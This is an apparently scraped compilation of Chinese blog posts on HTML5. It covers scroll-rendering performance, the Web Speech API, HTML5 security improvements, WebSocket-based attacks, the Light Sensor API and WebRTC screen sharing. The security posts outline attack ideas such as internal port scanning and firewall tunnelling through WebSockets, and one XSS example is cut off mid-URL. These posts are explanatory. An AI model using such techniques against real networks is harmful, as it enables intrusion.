### 我的前言       HTML5的API体系是重要知识,但是如何写出更高效的Web App对于从程序员进阶为高级程序员来说更为重要。技很重要,但是容易学会,术才是茫茫人海中鹤立鸡群,安生立命之本。       码农们容易吗?是的,我们必须要不断努力和学习才能进化为高级码农乃至顶级码农。       Web App的性能优化非常重要,之前我有过一篇LinkedIn的相关文章《[用HTML5实现iPad应用无限平滑滚动](http://blog.csdn.net/hfahe/article/details/7535914)》。       本文从另外一方面揭示了浏览器的渲染原理,就像开发Windows客户端要理解操作系统原理一样,有时候,性能优化不仅仅是了解HTML、JavaScript、CSS,浏览器的实现是墙外的另一角。       本文中所讲述的原理可以延伸应用到很多平台,例如如何保证Android应用屏幕滑动时的流畅性?有许多需要注意的点,例如不要在主线程中进行耗时的计算、不要采用过大过多的背景图片等等。       其实这个事情我们完全可以写一本书来详细阐述,也许。 ……………………………………✄…………………………………… ### 目录 - 介绍 - 滚动的原理 - 绘制分析 - 图像缩放 - 代价昂贵的样式 - Reflow与重绘 - 滚动事件防抖 - 结论 - 扩展阅读 ### 介绍       滚动的性能优化看起来不是一件很有必要的事情。毕竟,内容已有样式,所有资源已经或正在加载,我们为什么要关心滚动时会发生些什么呢?其实原因很简单,只要你滚动,浏览器就会把你的网站或者App绘制到屏幕上。这意味着我们有机会尽量减少浏览器的工作来最大限度地提高页面性能。       当用户使用你的应用时,平滑滚动实际上是用户体验里经常被忽视的重要组成部分。当滚动体验流畅时,使用这个应用会感觉到如丝般光滑和愉悦的体验,而卡顿则让人难以忍受。 ### 滚动的原理       让我们来看看在滚动时有什么事情发生。要理解这点,我们必须简单介绍一下浏览器如何在屏幕上绘制内容。一切都始于DOM树,它实际上是页面内的所有元素。浏览器查看带样式的DOM树,找出滚动时它认为看起来是一样的元素。然后,它把这些元素组合在一起,并且为它们生成一张图片,这就是所谓的层。每一层需要被绘制和栅格化为一种结构,然后合成在一起,这就是你在屏幕上看到的图像。       如果你有对Chrome渲染的详细信息感兴趣,可以看看这篇[概要](http://www.chromium.org/developers/design-documents/gpu-accelerated-compositing-in-chrome)(宇捷:在国内可以看看[这篇](http://www.docin.com/p-437050924.html))。       当你滚动页面时,浏览器可能会需要绘制这些层(有时也被称为合成层)里的一些像素。通过元素分组,当某个层的内容改变时,我们只需要更新该层的结构,并仅仅重绘和栅格化渲染层结构里变化的那一部分,而无需完全重绘。显然,如果当你滚动时,像视差网站(宇捷:关于视差网站,可以看看[这篇文章](http://www.html5rocks.com/en/tutorials/speed/parallax/),以及[示例网站1](http://www.rowtothepole.com/)、[示例网站2](http://www.adidas.com/com/apps/snowboarding/)、[示例网站3](http://www.bbc.co.uk/news/entertainment-arts-20026367),稍后我可能会介绍这种设计方式)这样有东西在移动时,有可能在多层导致大面积的内容调整,这会导致大量的绘制工作。       总之,**少绘最佳**。 ### 绘制分析       理论说了这么多,让我们来看看实践中如何工作。你可以用Chrome浏览器的DevTools来看看这个[演示页面](http://www.html5rocks.com/static/demos/scrolling/demo.html)。如果你打开​​时间轴面板(Timeline panel),设置为帧模式(frame mode),点击纪录按钮(record button),然后开始滚动,你可以看到一堆绿色的条。我录制了一段[视频](http://www.youtube.com/embed/KCtOt9OXvAM?rel=0)来展示你应该做什么和可以看到什么(宇捷:甚至在切换Tab时你也可以看见图形在变化)。       在时间线下方的列表中,你会看到全部绘制记录。这是Chrome绘制和栅格化页面合成层结构的过程。(所有绘制完成后,你还可以看到一些合成层的记录,这是所有这些已经更新的层为将在屏幕上显示进行合成准备) ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa57eb5e3.jpg) Chrome DevTools里的绘制记录       在每一个绘制记录后,你可以看到绘制区域的尺寸,如果你滚动页面,Chrome将突出显示页面中需要重绘的区域。另一个查看重绘区域的方法是,通过右下角的小齿轮图标进入DevTools设置,在里面激活 “显示绘制矩形(show paint rectangles)”选项。这是我们得到的滚动时页面性能的第一个指标。提醒一下:你应该寻找最小的可能绘制区域。       在页面左侧菜单可见的情况下,绘制区域基本上是整个屏幕,性能会受到很大影响。原因是这时Chrome创建了多个需调整的区域。在这种情况下,整个横向的可视内容会进入视图,还有100%高的左侧菜单也会进入同一个合成层,所有这一切会合成为一个100%高、100%宽的区域。如果你使用页面上方的勾选框禁用侧边栏菜单,再次滚动,你会发现此时只需要重绘横向的细条,这会快上很多。       如果你想看看实际的例子,试试打开[Google+](https://plus.google.com/),然后把侧边栏导航的样式从position: fixed修改为position: absolute。当然这会改变站点的行为,但是关键是通过切换风格,你可以看到真正性能的提升。你对此的反应可能是考虑以后应不应该使用position:fixed,但实际上所有这一切都依赖于环境和需求。最重要的是要能够测量和了解你的决定所带来的影响。 ### 图像缩放       在基本的绘制记录外我们还得到了一些信息,尤其是和图像相关。 如果在记录时缩放页面,你会看到一些绘制记录允许展开来查看更多信息。这么做之后,你应该可以看到一些图像缩放记录。这正是它所揭示的:浏览器需要把缩放图像作为绘制工作的一部分。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5811406.jpg) Chrome DevTools的图像缩放记录       如果用CSS或者图像尺寸属性缩放了一张大图,你就更有可能看到这样的情况。 当然,浏览器重新缩放图像的次数,以及它需要这样做的频率,会影响页面的性能,因为它们发生在浏览器主线程,由此会阻塞其它任务。       因此,使用无需缩放的图像是非常重要的。可以从一个有趣的侧面说明这一点,缩放操作很多情况下是不可避免的,尤其是在移动设备上。在这种情况下你没有太多可以做的事情,但是你最好知道这会(并且极有可能)发生。有利的一面是,浏览器总是在改进中,尤其渲染更是一个热门的话题,所以你可以期望事情在未来的几个月内会变得更好。       因此综上所述,还有其它可能会影响滚动性能的因素: - 代价昂贵的样式 - Reflow与重绘 - 滚动事件去抖       让我们来详细谈谈每一点。 ### 代价昂贵的样式       首先要说的是,并非所有的样式都是一样的,一些效果例如盒阴影(box-shadow)和oft-quoted代价特别昂贵。原因很简单,因为它们相关的绘制代码比其它样式需要更长的时间来运行。这意味着,如果你使用了这些样式,而且需要经常重绘,你很可能遇到性能问题。第二点要说的是一切都会变化,所以现在速度慢的样式可以被优化,以后变得很快,并且浏览器间还有很大不同。这里的关键是像上面一样利用Chrome的开发者工具来确定其中的瓶颈来自哪里,然后看看我们如何可以减少浏览器的负载。       2012年[谷歌I / O大会上](https://developers.google.com/events/io/)Nat Duca和Tom Wiltzius做了一场关于Chrome如何进行渲染优化的[精彩演讲](http://www.youtube.com/embed/hAzhayTnhEI?rel=0),其中提到了一大堆宝贵的经验,包括代价昂贵的样式以及如何衡量其影响。 ### Reflow与重绘       当用JavaScript请求一个元素的`offsetTop`属性时,你相当于马上给浏览器分配了大量的工作,因为它需要去进行页面布局来计算正确答案。这个过程被称为Reflow。如果我们基于offsetTop值再改变了此元素的其它属性,它将需要重新绘制(会影响到合成层),这个代价可能非常昂贵。它还具有连锁效应,重绘会导致`offsetTop`计算失效,因为该元素发生了变化。       真正的问题来自于元素集合。如果我们在重绘后马上计算每个元素的位置,我们会迫使浏览器进入一个代价昂贵的、完全不必要的Reflow-重绘循环。在这种情况下,我们需要做的是分两次来限制避免这个循环:第一次我们简单的获取`offsetTop`值,而在第二次里进行视觉更新。通过这种方式,我们避免了需要反复重新计算元素在页面中的位置,并且假定我们使用`requestAnimationFrame` ,我们将为浏览器安排在最佳时机进行视觉更新。       值得一提的是除了offsetTop之外还有[其它操作](http://gent.ilcore.com/2011/03/how-not-to-trigger-layout-in-webkit.html)会导致Reflow操作发生,所以必须要小心检查所有相关内容。 ### 滚动事件防抖       如果你正在构建一个大的视差滚动(`Parallax Scrolling`)网站,你自然倾向于在触发滚动事件时进行视觉更新。这里的主要问题是,滚动事件没有限制浏览器视觉更新的时间,比如在一个`requestAnimationFrame`回调里。所以在一个独立的渲染帧里会存在执行多个更新的风险。如果视觉更新代价巨大,而你正在开发一个视差滚动类似的网站(有大量区域调整,大量绘制和合成),频繁而不是仅必需的视觉更新无疑是一个坏主意。要解决这个问题,你需要将滚动事件进行防抖处理。你只需要在收到滚动事件时简单的存储最后一个滚动值,然后在`requestAnimationFrame里`执行视觉更新时,使用这个值。这意味着浏览器可以在正确的时刻安排视觉更新,我们在每帧中仅完成绝对必要的工作。       我们在[前面的文章](http://www.html5rocks.com/en/tutorials/speed/animations/)讨论过Reflow-重绘循环,如果你想了解更多时可以看看。 ### 结论       现在你知道如何使用Chrome DevTools的时间轴来分析应用的滚动性能了。值得重申的是,性能特性总是在改变,因此有些方式目前速度比其它更快,但这会随时间而改变。关键是理解如何认识上面读到的内容,这样你可以相应调整你的实现方式。       你应该经常使用开发者工具检查**实际的**性能数据。靠眼睛来判断可能很简单,但是结果没那么直接。所以,不要去揣测它,而应该去测试它。 ### 扩展阅读       如果你对浏览器实现感兴趣,或者想了解更多技巧来避免渲染性能的瓶颈,可以看看下面这些文章。 1. [Tali Garsiel & Paul Irish on how browsers work](http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/):浏览器如何工作 1. [A summary of hardware compositing in Chrome](http://www.chromium.org/developers/design-documents/gpu-accelerated-compositing-in-chrome):Chrome硬件合成概要 1. [Paul Lewis on debouncing scroll events and reflow / repaint cycles](http://www.html5rocks.com/en/tutorials/speed/animations/):滚动时间防抖和Reflow-重绘循环 1. [Tom Wiltzius on jank busting for better rendering performance](http://www.html5rocks.com/en/tutorials/speed/rendering/):更好渲染的性能       此网页内容的授权是[知识共享许可3.0](http://creativecommons.org/licenses/by/3.0/)协议,代码授权是[Apache 2.0协议](http://www.apache.org/licenses/LICENSE-2.0)。       译自:[HTML5Rocks](http://www.html5rocks.com/en/tutorials/speed/scrolling/)译者:[蒋宇捷](http://blog.csdn.net/hfahe)转载请注明
';

激动人心!在网页上通过语音输入文字 – HTML5 Web Speech API介绍

最后更新于:2022-04-01 19:44:56

       很久前我曾经[提到](http://blog.csdn.net/hfahe/article/details/7338032)过[**Web Speech API**](https://dvcs.w3.org/hg/speech-api/raw-file/tip/speechapi.html),现在Chrome刚刚发布的25版本已经为桌面和Android提供了对此API的支持,这对Web开发者来说无疑是一个具有里程碑意义的事件,因为我们可以直接在Web App中原生使用语音识别技术,Web应用的新时代将会由此开启。         控制不住激动的心情,下面我会通过示例马上给大家介绍此API的详细信息。         Google专门提供了一个[原生示例](https://www.google.com/intl/en/chrome/demos/speech.html),来演示Web Speech API。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa579b5e7.jpg)        我们来看看实现代码。首先需要判断浏览器是否支持Web Speech API,我们通过window下是否存在webkitSpeechRecognition对象来判断。如果支持,我们创建webkitSpeechRecognition对象,并设置相关属性和事件。 ~~~ if (!('webkitSpeechRecognition' in window)) { upgrade(); } else { var recognition = new webkitSpeechRecognition(); recognition.continuous = true; recognition.interimResults = true; recognition.onstart = function() { ... } recognition.onresult = function(event) { ... } recognition.onerror = function(event) { ... } recognition.onend = function() { ... } ... ~~~        continuous属性的默认值是false,代表当用户停止说话时,语音识别将结束。在这个[演示中](https://www.google.com/intl/en/chrome/demos/speech.html) ,我们将它设置为true,这样即便用户暂时停止讲话,语音识别也将会继续。        interimResults属性的默认值也是false,代表语音识别器的返回值不会改变。在这个演示中,我们把它设置为true,这样随着我们的输入,识别结果有可能会改变。仔细观看演示,灰色的文字是临时性的,有时会改变,而黑色文本是最终结果,不会改变。        当我们点击麦克风按钮时,会触发如下代码: ~~~ function startButton(event) { ... final_transcript = ''; recognition.lang = select_dialect.value; recognition.start(); ~~~        我们用recognition.lang来设置语音识别的语言,在这个示例中默认为HTML页面的语言,通过下拉列表用户可以进行更换,例如“cmn-Hans-CN”代表普通话,而“en-us”代表美式英语。Chrome浏览器的语音识别支持众多的语言,非常强大。        设置语言后,我们调用recognition.start()来激活语音识别。一旦开始捕获音频,它调用onstart方法,然后为每一个新的结果集调用onresult方法进行处理。 ~~~ recognition.onresult = function(event) { var interim_transcript = ''; for (var i = event.resultIndex; i < event.results.length; ++i) { if (event.results[i].isFinal) { final_transcript += event.results[i][0].transcript; } else { interim_transcript += event.results[i][0].transcript; } } final_transcript = capitalize(final_transcript); final_span.innerHTML = linebreak(final_transcript); interim_span.innerHTML = linebreak(interim_transcript); }; } ~~~        这个handler把结果分成两个字符串:final_transcript和interim_transcript。这里调用Linebreak方法来进行分段。最后,它会将final_transcript设置为final_span的innerHTML,显示为黑色;而将interim_transcript设置为interim_span的innerHTML,显示为灰色。        以上就是功能核心代码。当recognition.start()被调用时,麦克风识别动画开始显示,同时Chrome需要获得用户对麦克风的授权。有一点非常重要的是,**HTTPS网页不需要反复获取授权,而HTTP**网页需要**。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa57af7fe.jpg)        当开始语音输入、捕获和识别时,我们还会在桌面右下角看到相关提示。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa57c12a7.jpg) ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa57d55c6.jpg)        从现在开始,Web App的开发者们可以好好考虑考虑,利用Web Speech API能够开发出什么样有趣的产品,或者为自己的产品添加什么有趣的功能?        提示:如果要体验文中的Demo,请使用Chrome 25以上的版本或者Chrome Canary。        相关文章:《[对HTML5 Device API相关规范的解惑](http://blog.csdn.net/hfahe/article/details/7338032)》        参考文章:[VOICE DRIVEN WEB APPS: INTRODUCTION TO THE WEB SPEECH API](http://updates.html5rocks.com/2013/01/Voice-Driven-Web-Apps-Introduction-to-the-Web-Speech-API)        转载请标明出处:[蒋宇捷的专栏](http://blog.csdn.net/hfahe)
';

HTML5安全攻防详析之完结篇:HTML5对安全的改进

最后更新于:2022-04-01 19:44:53

      HTML5对旧有的安全策略进行了非常多的补充。       **一、iframe沙箱**       HTML5为iframe元素增加了sandbox属性防止不信任的Web页面执行某些操作,例如访问父页面的DOM、执行脚本、访问本地存储或者本地数据库等等。但是这个安全策略又会带来另外的风险,这很有趣,例如[ClickJacking攻击](http://blog.csdn.net/hfahe/article/details/8138728)里阻止JavaScript脚本的运行来绕过JavaScript的防御方式。       **二、CSP内容安全策略**       XSS通过虚假内容和诱骗点击来绕过同源策略。** **XSS攻击的核心是利用了浏览器无法区分脚本是被第三方注入的,还是真的是你应用程序的一部分。CSP定义了Content-Security-Policy HTTP头来允许你创建一个可信来源的白名单,使得浏览器只执行和渲染来自这些来源的资源,而不是盲目信任服务器提供的所有内容。即使攻击者可以找到漏洞来注入脚本,但是因为来源不包含在白名单里,因此将不会被执行。具体内容可以在[我的博客上](http://blog.csdn.net/hfahe/article/details/7727460)了解到。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9a2e8157e9.jpg) XSS攻击的原理       **三、XSS过滤器**       Chrome、Safari这样的现代浏览器也构建了安全防御措施,在前端提供了XSS过滤器。例如[http://test.jiangyujie.com/?text=
';

HTML5安全攻防详析之八:Web Socket攻击

最后更新于:2022-04-01 19:44:51

      HTML5的最好的功能之一WebSocket允许浏览器打开到特定IP目标端口的Socket连接,它提供了基于TCP Socket的全双工双向通信,可以实现消息推送机制,大大减少了服务器和浏览器之间的不必要的通信量。例如可以用它来实现QQ的消息弹窗或者微博的新消息通知,让我们可以更好的实现Web应用。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5742a55.jpg) **iPhone的消息推送**       HTML5限制了Web Socket可以使用的端口,但是,它可能会成为攻击者的载体。想象你打开一个页面,这个页面打开Socket连接并且执行一个内部IP地址的端口扫描。如果端口扫描发现了内部网络上发现了一个开启的80端口,一个隧道就可能通过你的浏览器建立。这样做会实际上最终绕过防火墙,并且允许访问内部内容。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5757c34.jpg) **WebSocket通信原理**       Web Socket会带来的威胁包括:       •        成为后门       •        端口扫描       •        僵尸网络(一到多的连接)       •        构造基于WebSocket的嗅探器       JS-Recon是一个基于HTML5的JavaScript网络探测工具,它可以使用WebSocket执行网络及端口扫描。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5768b88.jpg) **JS-Recon**       相关文章:       《[关注HTML5安全风险](http://blog.csdn.net/hfahe/article/details/7960705)》       《[HTML5安全风险详析之一:CORS攻击](http://blog.csdn.net/hfahe/article/details/7961566)》       《[HTML5安全风险详析之二:WebStorage攻击](http://blog.csdn.net/hfahe/article/details/7961618)》       《[HTML5安全风险详析之三:](http://blog.csdn.net/hfahe/article/details/8049414)WebSQL攻击》       《[HTML5安全风险详析之四:](http://blog.csdn.net/hfahe/article/details/8104263)Web Worker攻击》       《[HTML5安全风险详析之五:劫持攻击](http://blog.csdn.net/hfahe/article/details/8138728)》       《[HTML5安全风险详析之六:](http://blog.csdn.net/hfahe/article/details/8205148)API攻击》       《[HTML5安全风险详析之七](http://blog.csdn.net/hfahe/article/details/8441060):新标签攻击》       本文为原创文章,转载请注明:来自[蒋宇捷的博客](http://blog.csdn.net/hfahe)([http://blog.csdn.net/hfahe](http://blog.csdn.net/hfahe))
';

HTML5光线传感器简介

最后更新于:2022-04-01 19:44:49

        HTML5环境传感器由[Sensor API](https://dvcs.w3.org/hg/dap/raw-file/tip/sensor-api/Overview.html)描述和定义,包含了6种常见的传感器类型: ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa57009a0.jpg)       它们分别代表温度(摄氏度)、气压(千帕)、湿度(百分比)、光线(lux ,勒克司)、声音(分贝)、临近(厘米)。       HTML5传感器目前讨论的比较多的是DeviceOrientationEvent运动传感器和方向传感器,而Sensor API的详细内容在国内很少有相关的文章提及。下面我对其中的光线传感器进行一个简单介绍,让大家先窥HTML5 Sensor API的一貌。       [光线传感器规范](#)还是内部讨论的W3C工作草案,定义了通过了光线传感器测量周围光线水平的方式,包括2个接口,LightLevelEvent提供了简单的光线级别分类,而DeviceLightEvent接口以[光照度lux](http://baike.baidu.com/view/855640.htm)为单位,描述了环境光线的详细信息。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5717bb1.jpg) 不同的光照度       **一、DeviceLightEvent接口**       DeviceLightEvent提供了环境光线的精确值,结果以lux(勒克司,为距离一个光强为1cd的光源,在1米处接受的照明强度)为单位。       它包含一个属性和一个事件: -         属性value - 返回当前环境光线的强度值。 -         事件ondevicelight - 如果光线变化,会触发此事件。 需要注意的是由于检测方法、传感器结构的不同,不同的设备在同一环境下的返回值可能有所差异。 **二、LightLevelEvent接口**       LightLevelEvent接口提供周围环境的光线水平分级,主要包括三个范围的内容:dim-昏暗,normal-正常和bright明亮。其实它相当于一个简单的判断,让开发者可以很方便的区分这三种常见的光线状态。       它也包含一个属性和一个事件: -         属性value-返回当前环境光线的强度水平,dim、normal或者bright。 -         事件onlightlevel -如果光线水平变化,会触发此事件。       如何区分昏暗、正常和明亮的光线水平呢?规范定义昏暗是指光照度小于50 lux的环境,正常代表50到10000 lux之间,而明亮则是大于10000 lux。       考虑一下,利用光照传感器Web App可以实现的有趣功能包括哪些?例如在页游里可以根据光照度自动变换场景模式、阅读App可以根据光照度自动变换背景色,进入白天或者夜晚模式…可以预见,在不久的将来,利用这些奇妙的传感器属性,Web App的开发者又将实现更多好玩的创意,让我们的生活更加便利和有趣。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa572bb6b.jpg) 植物大战僵尸的夜间模式       请注意,Sensor API和DeviceLightEvent定义了浏览器的实现形式和开发者的调用形式,但是它们目前仅仅是工作组草案,未来形式和定义有可能随时发生变化。       相关文章:《[对HTML5 Device API相关规范的解惑](http://blog.csdn.net/hfahe/article/details/7338032)》       《[用HTML5实现手机摇一摇的功能](http://blog.csdn.net/hfahe/article/details/7516317)》       《[百度开发者大会:用HTML5新特性开发移动App](http://blog.csdn.net/hfahe/article/details/7388938)》       原创文章,转载请标明出处:[蒋宇捷的专栏](http://blog.csdn.net/hfahe)(http://blog.csdn.net/hfahe)
';

Firefox、Android、iOS遇见WebRTC

最后更新于:2022-04-01 19:44:47

      注:我昨天刚发了一篇[关于WebRTC的文章](http://blog.csdn.net/hfahe/article/details/8445000),但是WebRTC的变化如此之大,让我不得不再用一篇文章的篇幅从另外一个方面详细阐述它带给我们的变化。Firefox、Opera、Android、iOS平台的广泛支持会让它可以立即落地,实现很多有趣的视频功能和应用。你准备好使用它了吗?       关键词:视频 [RTCPeerConnection](http://updates.html5rocks.com/tag/rtcpeerconnection) [getUserMedia](http://updates.html5rocks.com/tag/getusermedia) WebRTC 多媒体       --------       WebRTC在过去的几周内发生了**很多事情**,有一个重大的更新。       特别是我们很高兴地看到多个浏览器和平台开始支持WebRTC。       getUserMedia目前可以在Chrome浏览器中直接使用,此外还有Opera、Firefox Nightly构建版、Aurora浏览器(尽管在Firefox中需要[设置首选项](https://hacks.mozilla.org/2012/11/progress-update-on-webrtc-for-firefox-on-desktop/comment-page-1/#comment-1851192 "Firefox在桌面上WebRTC的最新进展"))。可以看一看[simpl.info/gum](http://www.simpl.info/gum "Simple cross-platform getUserMedia demo")上getUserMedia跨浏览器的演示,以及Chris Wilson使用getUserMedia来进行网络音频输入的[惊人演示](http://webaudiodemos.appspot.com/)。       Chrome稳定版已经支持webkitRTCPeerConnection,并且无须在about:flgas里设置。Chrome24及以上版本已经支持TURN服务器(TURN协议允许NAT或者[防火墙](http://baike.baidu.com/view/3067.htm)后面的对象可以通过TCP或者UDP接收到数据。这在使用了对称式的NAT或者防火墙的网络中尤其具有实用价值)。在[simpl.info/pc](http://www.simpl.info/peerconnection "Simple cross-platform getUserMedia demo")上有一个Chrome RTCPeerConnection非常简单的演示,以及在[apprtc.appspot.com](http://updates.html5rocks.com/2012/12/apprtc.appspot.com "Video chat demo")上有一个超棒的视频聊天应用。(关于命名的解释:经过几次迭代,目前API的命名为webkitRTCPeerConnection。其他名称及实现已被废弃。当W3C标准已经稳定时,webkit前缀将被删除。)       桌面版Firefox Nightly和Aurora浏览器也已经支持WebRTC,而在iOS和Android上可以通过[爱立信Bowser浏览器](https://labs.ericsson.com/apps/bowser "爱立信库巴浏览器")支持。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa56c25c7.jpg)       **DATACHANNEL**       [DataChannel](http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-datachannel "HTML5Rocks文章的DataChannel章节")是用于任意数据高性能、低延时、点对点通信的WebRTC API。这个API非常简单,类似于WebSocket,但是它的通信是直接发生在浏览器之间的,所以DataChannel的速度远远超过WebSocket,即便我们还需要一个中继(TURN)服务器(用“TCP/UDP打孔”的方式来穿越防火墙和防止网络地址转换失败)。       Chrome 25计划支持DataChannel,需要通过about:flags激活-尽管它可能会错过这个版本。这将仅用于实验,可能不会充分发挥全部的作用,而且无法和Firefox进行通信。DataChannel在以后的版本中会更加稳定,并且可以和Firefox互通。       Firefox Nightly构建版和Aurora支持mozGetUserMedia、mozRTCPeerConnection和DataChannel(但是不要忘记在about:flags中设置参数!)       在Firefox中运行DataChannel的截图如下: ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa56d78ba.jpg)       该演示URL为[http://mozilla.github.com/webrtc-landing/data_test.html](http://mozilla.github.com/webrtc-landing/data_test.html "Mozilla DataChannel的例子")。下面是代码片断: ~~~ pc1.onconnection = function() { log("pc1 onConnection "); dc1 = pc1.createDataChannel("This is pc1",{}); // reliable (TCP-like) dc1 = pc1.createDataChannel("This is pc1",{outOfOrderAllowed: true, maxRetransmitNum: 0}); // unreliable (UDP-like) log("pc1 created channel " + dc1 + " binarytype = " + dc1.binaryType); channel = dc1; channel.binaryType = "blob"; log("pc1 new binarytype = " + dc1.binaryType); // Since we create the datachannel, don't wait for onDataChannel! channel.onmessage = function(evt) { if (evt.data instanceof Blob) { fancy_log("***pc2 sent Blob: " + evt.data + ", length=" + evt.data.size,"blue"); } else { fancy_log('pc2 said: ' + evt.data, "blue"); } } channel.onopen = function() { log("pc1 onopen fired for " + channel); channel.send("pc1 says Hello..."); log("pc1 state: " + channel.state); } channel.onclose = function() { log("pc1 onclose fired"); }; log("pc1 state:" + channel.readyState); } ~~~       [hacks.mozilla.org博客](https://hacks.mozilla.org/2012/11/progress-update-on-webrtc-for-firefox-on-desktop/comment-page-1/#comment-1851192)上有更多Firefox实现的信息和演示。2013年初Firefox 18将会提供WebRTC基础功能的支持,并且附加功能在支持计划中,包括getUserMedia和createOffer/应答限制,以及TURN(允许浏览器在防火墙后进行互相通信)。       WebRTC的更多信息,请参阅[WebRTC入门](http://www.html5rocks.com/en/tutorials/webrtc/basics/)。这里甚至还有一本正在印刷中的[WebRTC书籍](http://webrtcbook.com/),目前以电子书格式提供。       **分辨率限制**       Chrome 24及​​以上版本已经实现了[分辨率限制](http://tools.ietf.org/html/draft-alvestrand-constraints-resolution-00#page-4)功能。它可用于为getUserMedia()和RTCPeerConnection的addStream()调用设置视频的分辨率。       在[simpl.info/getusermedia/constraints](http://simpl.info/getusermedia/constraints/index.html "Resolution Constraints example on simpl.info")上有一个示例,通过设置一个断点和改变参数值展示不同的限制,。       这里有几个陷阱。在一个浏览器标签中设置getUserMedia的分辨率限制会影响所有的标签。设置不允许限制分辨率会出现一个非常奇怪的错误信息: ~~~ navigator.getUserMedia error: NavigatorUserMediaError {code: 1, PERMISSION_DENIED: 1} ~~~       如果你在本地而不是服务器上使用getUserMedia,会出现和上面一样的错误。       **流式屏幕捕获**       [Chrome开发版](https://developer.chrome.com/trunk/extensions/tabCapture.html)已经支持标签捕获。因此我们可以从标签中捕获一个可视区域,作为视频流用于本地或者RTCPeerConnection的addStream()。这对屏幕捕获和网页共享非常有用(《[使用WebRTC实现远程屏幕共享](http://blog.csdn.net/hfahe/article/details/8445000)》这篇文章正是讲到这方面的内容)。要了解更多信息,请参阅[WebRTC标签内容捕获建议](http://www.chromium.org/developers/design-documents/extensions/proposed-changes/apis-under-development/webrtc-tab-content-capture "WebRTC选项卡的内容捕获建议")。       译自:http://updates.html5rocks.com/2012/12/WebRTC-hits-Firefox-Android-and-iOS       转载请注明:来自蒋宇捷的博客-http://blog.csdn.net/hfahe
';

使用WebRTC实现远程屏幕共享

最后更新于:2022-04-01 19:44:44

      [正如我们上周报道的一样](http://updates.html5rocks.com/2012/12/WebRTC-hits-Firefox-Android-and-iOS),最近有很多事情发生在我们熟知的[WebRTC](http://www.html5rocks.com/en/tutorials/webrtc/basics/)上。       其中一个是:基于WebRTC的屏幕共享。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa56ab209.jpg) [](https://www.youtube.com/watch?v=tD0QtBUZsF4 ""链接截屏WebRTC的屏幕共享行动。截屏图像显示WebRTC的屏幕共享扩展,杰克阿奇博尔德,彼得Beverloo,保罗·刘易斯和山姆达顿。" ")       这是屏幕录像:[youtube.com/watch?v=tD0QtBUZsF4](https://www.youtube.com/watch?v=tD0QtBUZsF4 "Video on YouTube: screencast of WebRTC screensharing in action")。       这是代码:[github.com/samdutton/rtcshare](https://www.github.com/samdutton/rtcshare "Github code repository for WebRTC screensharing extension")。       从本质上讲,我们使用RTCPeerConnection和[`chrome.tabCapture`](http://developer.chrome.com/dev/extensions/tabCapture.html "chrome.tabCapture API文档")构建了一个实验性的Chrome扩展,以此通过浏览器标签来分享实时视频。如果你想尝试一下,你需要使用[Chrome的Canary](https://tools.google.com/dlpage/chromesxs/)版本 ,并且在about:flags页面开启实验性扩展(Experimental Extension)的API。       我们的原型很大程度上依赖于强大的[apprtc.appspot.com](http://apprtc.appspot.com/)演示,坦率地说,这有点像黑客行为。但是,这是一个概念的证明,并且我们做到了。       下面是我们的实现方法:       1.    当用户点击扩展程序图标(地址栏旁的“录制按钮“),扩展的后台脚本background.js为它自身添加了一个iframe,`src``指向`[rtcshare.appspot.com](https://rtcshare.appspot.com/)。在background.js中它仅用于获取`token`和`room_key``这样的参数`值。 ~~~ chrome.browserAction.onClicked.addListener(function(tab) { var currentMode = localStorage["capturing"]; var newMode = currentMode === "on" ? "off" : "on"; if (newMode === "on"){ // start capture appendIframe(); } else { // stop capture chrome.tabs.getSelected(null, function(tab){ localStream.stop(); onRemoteHangup(); }); // set icon, localStorage, etc. } } ~~~       2.     当iframe加载后*,*background.js从iframe获取参数值(由rtcshare.appspot.com应用生成)并调用chrome.tabCapture.capture()来开始摄制当前标签的实时视频流。 ~~~ function appendIframe(){ iframe = document.createElement("iframe"); iframe.src="https://rtcshare.appspot.com"; document.body.appendChild(iframe); iframe.onload = function(){ iframe.contentWindow.postMessage("sendConfig", "*"); }; } // serialised config object messaged by iframe when it loads window.addEventListener("message", function(event) { if (event.origin !== "https://rtcshare.appspot.com"){ return; } var config = JSON.parse(event.data); room_link = config.room_link; // the remote peer URL token = config.token; // for messaging via Channel API // more parameter set from config ); function startCapture(){ chrome.tabs.getSelected(null, function(tab) { var selectedTabId = tab.id; chrome.tabCapture.capture({audio:true, video:true}, handleCapture); // bingo! }); } ~~~       3.     一旦实时数据流可用(换句话说,即当前标签的实时视频*),*background.js便启动点对点连接的进程,信号通过[rtcshare.appspot.com](http://www.rtcshare.appspot.com/)使用XHR及Google的[Channel API](https://developers.google.com/appengine/docs/python/channel/overview)进行传输。所有一切的工作原理就像[apprtc](http://www.apprtc.appspot.com/)的示例一样,除了视频流到远程的传送是通过chrome.tabCapture()而不是getUserMedia()。 ~~~ function handleCapture(stream){ localStream = stream; // used by RTCPeerConnection addStream(); initialize(); // start signalling and peer connection process } ~~~       4.     为了演示考虑,这个扩展会在新标签打开一个[rtcshare.appspot.com](https://rtcshare.appspot.com/)提供的url,其中包含一个房间号的参数。当然,这个URL可以在另一台计算机上或者任何地方打开,这可能是最有价值的事情。me.t ~~~ 